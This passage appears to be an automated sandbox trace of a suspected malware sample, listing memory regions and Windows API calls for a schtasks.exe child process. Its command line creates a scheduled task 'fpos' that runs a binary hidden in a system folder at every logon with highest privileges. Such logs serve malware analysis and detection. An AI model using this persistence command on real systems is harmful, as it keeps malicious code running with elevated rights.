(This=0x727a50) returned 0x1 [0155.797] lstrlenW (lpString="") returned 0 [0155.797] lstrlenW (lpString="14") returned 2 [0155.797] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="14", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0155.797] GetProcessHeap () returned 0x430000 [0155.797] GetProcessHeap () returned 0x430000 [0155.797] HeapValidate (hHeap=0x430000, dwFlags=0x0, lpMem=0x44c230) returned 1 [0155.797] GetProcessHeap () returned 0x430000 [0155.798] RtlSizeHeap (HeapHandle=0x430000, Flags=0x0, MemoryPointer=0x44c230) returned 0x1fc [0155.798] exit (_Code=0) Thread: id = 191 os_tid = 0xd04 Process: id = "50" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x40211000" os_pid = "0xcf8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xb84" cmd_line = "schtasks.exe /create /tn \"fpos\" /sc ONLOGON /tr \"'C:\\Windows\\SysWOW64\\winrm\\0409\\fpos.exe'\" /rl HIGHEST /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f52a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3931 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3932 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3933 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 3934 start_va = 0x1c0000 end_va = 0x23ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 3935 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3936 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 3937 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3938 start_va = 0xffbf0000 end_va = 0xffc37fff monitored = 1 entry_point = 0xffc1966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 3939 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3940 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 3941 start_va = 0x7fffffd8000 end_va = 0x7fffffd8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 3942 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 3943 start_va = 0x240000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 3944 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3945 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3946 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3947 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3948 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3949 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3950 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3951 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3952 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 3953 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 3954 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 3955 start_va = 0x7fefd4e0000 end_va = 0x7fefd6e2fff monitored = 0 entry_point = 0x7fefd503330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 3956 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3957 start_va = 0x7fefeb70000 end_va = 0x7fefec46fff monitored = 0 entry_point = 0x7fefeb73274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 3958 start_va = 0x7fefe890000 end_va = 0x7fefe900fff monitored = 0 entry_point = 0x7fefe8a1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 3959 start_va = 0x7fefa290000 end_va = 0x7fefa299fff monitored = 0 entry_point = 0x7fefa29260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 3960 start_va = 0x4b0000 end_va = 0x64ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 3961 start_va = 0xc0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 3963 start_va = 0x240000 end_va = 0x268fff monitored = 0 entry_point = 0x241010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3964 start_va = 0x3b0000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 3965 start_va = 0x4b0000 end_va = 0x637fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004b0000" filename = "" Region: id = 3966 start_va = 0x640000 end_va = 0x64ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000640000" filename = "" Region: id = 3967 start_va = 0x240000 end_va = 0x268fff monitored = 0 entry_point = 0x241010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3968 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3969 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 3970 start_va = 0x650000 end_va = 0x7d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000650000" filename = "" Region: id = 3971 start_va = 0x7e0000 end_va = 0x1bdffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007e0000" filename = "" Region: id = 3972 start_va = 0x240000 end_va = 0x251fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 3973 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 3974 start_va = 0x260000 end_va = 0x260fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 3975 start_va = 0x7fefbe30000 end_va = 0x7fefbe3bfff monitored = 0 entry_point = 0x7fefbe31064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 3976 start_va = 0x1be0000 end_va = 0x1eaefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3977 start_va = 0x270000 end_va = 0x2ecfff monitored = 0 entry_point = 0x27cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3978 start_va = 0x270000 end_va = 0x2ecfff monitored = 0 entry_point = 0x27cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3979 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 3980 start_va = 0x7fefb5c0000 end_va = 0x7fefb615fff monitored = 0 entry_point = 0x7fefb5cbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 3981 start_va = 0x1eb0000 end_va = 0x206ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001eb0000" filename = "" Region: id = 3982 start_va = 0x270000 end_va = 0x34efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 3983 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3984 start_va = 0x1f60000 end_va = 0x1fdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f60000" filename = "" Region: id = 3985 start_va = 0x1ff0000 end_va = 0x206ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ff0000" filename = "" Region: id = 3986 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 3987 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 3988 start_va = 0x350000 end_va = 0x350fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000350000" filename = "" Region: id = 3989 start_va = 0x7fefef50000 end_va = 0x7fefefe8fff monitored = 0 entry_point = 0x7fefef51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 3990 start_va = 0x360000 end_va = 0x360fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000360000" filename = "" Region: id = 3991 start_va = 0x7fefa9d0000 end_va = 0x7fefaaf6fff monitored = 0 entry_point = 0x7fefa9d10ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 3992 start_va = 0x7fefcb30000 end_va = 0x7fefcb54fff monitored = 0 entry_point = 0x7fefcb39658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 3993 start_va = 0x7fefb150000 end_va = 0x7fefb184fff monitored = 0 entry_point = 0x7fefb151064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 192 os_tid = 0xcfc [0155.479] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x23f9c0 | out: lpSystemTimeAsFileTime=0x23f9c0*(dwLowDateTime=0x2922e940, dwHighDateTime=0x1d8a92a)) [0155.479] GetCurrentProcessId () returned 0xcf8 [0155.479] GetCurrentThreadId () returned 0xcfc [0155.479] GetTickCount () returned 0x138b244 [0155.479] RtlQueryPerformanceCounter (in: lpPerformanceCount=0x23f9c8 | out: lpPerformanceCount=0x23f9c8*=2063434229231) returned 1 [0155.479] GetModuleHandleW (lpModuleName=0x0) returned 0xffbf0000 [0155.479] __set_app_type (_Type=0x1) [0155.479] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffc1972c) returned 0x0 [0155.480] __wgetmainargs (in: _Argc=0xffc31240, _Argv=0xffc31250, _Env=0xffc31248, _DoWildCard=0, _StartInfo=0xffc3125c | out: _Argc=0xffc31240, _Argv=0xffc31250, _Env=0xffc31248) returned 0 [0155.480] _onexit (_Func=0xffc22ab0) returned 0xffc22ab0 [0155.481] _onexit (_Func=0xffc22ac4) returned 0xffc22ac4 [0155.481] _onexit (_Func=0xffc22afc) returned 0xffc22afc [0155.481] _onexit (_Func=0xffc22b58) returned 0xffc22b58 [0155.481] _onexit (_Func=0xffc22b80) returned 0xffc22b80 [0155.481] _onexit (_Func=0xffc22ba8) returned 0xffc22ba8 [0155.481] _onexit (_Func=0xffc22bd0) returned 0xffc22bd0 [0155.481] _onexit (_Func=0xffc22bf8) returned 0xffc22bf8 [0155.481] _onexit (_Func=0xffc22c20) returned 0xffc22c20 [0155.482] _onexit (_Func=0xffc22c48) returned 0xffc22c48 [0155.482] _onexit (_Func=0xffc22c70) returned 0xffc22c70 [0155.482] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0155.482] WinSqmIsOptedIn () returned 0x0 [0155.482] GetProcessHeap () returned 0x3b0000 [0155.482] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x18) returned 0x3cb990 [0155.483] SetLastError (dwErrCode=0x0) [0155.483] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0155.483] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0155.483] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0155.483] VerifyVersionInfoW (in: lpVersionInformation=0x23f180, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x23f180) returned 1 [0155.483] GetProcessHeap () returned 0x3b0000 [0155.483] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x18) returned 0x3cb9b0 [0155.483] lstrlenW (lpString="") returned 0 [0155.483] GetProcessHeap () returned 0x3b0000 [0155.483] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x2) returned 0x3cb9d0 [0155.483] GetProcessHeap () returned 0x3b0000 [0155.483] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3c5930 [0155.483] GetProcessHeap () returned 0x3b0000 [0155.483] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x18) returned 0x3cb9f0 [0155.483] GetProcessHeap () returned 0x3b0000 [0155.483] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3c5960 [0155.483] GetProcessHeap () returned 0x3b0000 [0155.483] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3c5990 [0155.483] GetProcessHeap () returned 0x3b0000 [0155.483] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3c59c0 [0155.483] GetProcessHeap () returned 0x3b0000 [0155.483] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3c59f0 [0155.483] GetProcessHeap () returned 0x3b0000 [0155.484] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x18) returned 0x3cba10 [0155.484] GetProcessHeap () returned 0x3b0000 [0155.484] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3c5a20 [0155.484] GetProcessHeap () returned 0x3b0000 [0155.484] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3c5a50 [0155.484] GetProcessHeap () returned 0x3b0000 [0155.484] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3c5a80 [0155.484] GetProcessHeap () returned 0x3b0000 [0155.484] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3c5ab0 [0155.484] GetProcessHeap () returned 0x3b0000 [0155.484] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x18) returned 0x3cba30 [0155.484] GetProcessHeap () returned 0x3b0000 [0155.484] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3c5ae0 [0155.484] GetProcessHeap () returned 0x3b0000 [0155.484] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3c5b10 [0155.484] GetProcessHeap () returned 0x3b0000 [0155.484] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3c5b40 [0155.484] GetProcessHeap () returned 0x3b0000 [0155.484] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3c5b70 [0155.484] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0155.484] SetLastError (dwErrCode=0x0) [0155.484] GetProcessHeap () returned 0x3b0000 [0155.484] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3c5ba0 [0155.484] GetProcessHeap () returned 0x3b0000 [0155.484] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3c5bd0 [0155.484] GetProcessHeap () returned 0x3b0000 [0155.484] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3c5c00 [0155.484] GetProcessHeap () returned 0x3b0000 [0155.484] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3c5c30 [0155.484] GetProcessHeap () returned 0x3b0000 [0155.485] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3c5c60 [0155.485] GetProcessHeap () returned 0x3b0000 [0155.485] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x18) returned 0x3cba50 [0155.485] _memicmp (_Buf1=0x3cba50, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.485] GetProcessHeap () returned 0x3b0000 [0155.485] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x208) returned 0x3cbbf0 [0155.485] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x3cbbf0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0155.485] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefbe30000 [0155.487] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefbe315fc [0155.487] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0155.487] GetProcessHeap () returned 0x3b0000 [0155.487] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x74e) returned 0x3cc1a0 [0155.488] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoW") returned 0x7fefbe31614 [0155.488] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x3cc1a0 | out: lpData=0x3cc1a0) returned 1 [0155.488] GetProcAddress (hModule=0x7fefbe30000, lpProcName="VerQueryValueW") returned 0x7fefbe315e0 [0155.488] VerQueryValueW (in: pBlock=0x3cc1a0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x23f268, puLen=0x23f2d0 | out: lplpBuffer=0x23f268*=0x3cc53c, puLen=0x23f2d0) returned 1 [0155.491] _memicmp (_Buf1=0x3cba50, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.491] _vsnwprintf (in: _Buffer=0x3cbbf0, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x23f248 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0155.491] VerQueryValueW (in: pBlock=0x3cc1a0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x23f2d8, puLen=0x23f2c8 | out: lplpBuffer=0x23f2d8*=0x3cc368, puLen=0x23f2c8) returned 1 [0155.491] lstrlenW (lpString="schtasks.exe") returned 12 [0155.491] lstrlenW (lpString="schtasks.exe") returned 12 [0155.491] lstrlenW (lpString=".EXE") returned 4 [0155.491] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0155.495] lstrlenW (lpString="schtasks.exe") returned 12 [0155.496] lstrlenW (lpString=".EXE") returned 4 [0155.496] _memicmp (_Buf1=0x3cba50, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.496] lstrlenW (lpString="schtasks") returned 8 [0155.496] GetProcessHeap () returned 0x3b0000 [0155.496] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3c5d50 [0155.496] GetProcessHeap () returned 0x3b0000 [0155.496] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3ccab0 [0155.496] GetProcessHeap () returned 0x3b0000 [0155.496] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3ccae0 [0155.496] GetProcessHeap () returned 0x3b0000 [0155.496] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3ccb10 [0155.496] GetProcessHeap () returned 0x3b0000 [0155.496] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x18) returned 0x3cba70 [0155.496] _memicmp (_Buf1=0x3cba70, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.496] GetProcessHeap () returned 0x3b0000 [0155.496] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0xa0) returned 0x3cbff0 [0155.496] GetProcessHeap () returned 0x3b0000 [0155.496] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3ccb40 [0155.496] GetProcessHeap () returned 0x3b0000 [0155.497] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3ccb70 [0155.497] GetProcessHeap () returned 0x3b0000 [0155.497] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3ccba0 [0155.497] GetProcessHeap () returned 0x3b0000 [0155.497] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x18) returned 0x3cba90 [0155.497] _memicmp (_Buf1=0x3cba90, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.497] GetProcessHeap () returned 0x3b0000 [0155.497] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x200) returned 0x3cd280 [0155.497] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x3cd280, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0155.497] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0155.497] GetProcessHeap () returned 0x3b0000 [0155.497] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x30) returned 0x3c7a50 [0155.497] _vsnwprintf (in: _Buffer=0x3cbff0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x23f248 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0155.497] GetProcessHeap () returned 0x3b0000 [0155.497] GetProcessHeap () returned 0x3b0000 [0155.497] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc1a0) returned 1 [0155.497] GetProcessHeap () returned 0x3b0000 [0155.497] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cc1a0) returned 0x74e [0155.498] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc1a0 | out: hHeap=0x3b0000) returned 1 [0155.498] SetLastError (dwErrCode=0x0) [0155.498] GetThreadLocale () returned 0x409 [0155.498] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0155.498] lstrlenW (lpString="?") returned 1 [0155.498] GetThreadLocale () returned 0x409 [0155.498] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0155.498] lstrlenW (lpString="create") returned 6 [0155.498] GetThreadLocale () returned 0x409 [0155.498] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0155.498] lstrlenW (lpString="delete") returned 6 [0155.498] GetThreadLocale () returned 0x409 [0155.498] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0155.499] lstrlenW (lpString="query") returned 5 [0155.499] GetThreadLocale () returned 0x409 [0155.499] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0155.499] lstrlenW (lpString="change") returned 6 [0155.499] GetThreadLocale () returned 0x409 [0155.499] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0155.499] lstrlenW (lpString="run") returned 3 [0155.499] GetThreadLocale () returned 0x409 [0155.499] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0155.499] lstrlenW (lpString="end") returned 3 [0155.499] GetThreadLocale () returned 0x409 [0155.499] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0155.499] lstrlenW (lpString="showsid") returned 7 [0155.499] GetThreadLocale () returned 0x409 [0155.499] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", 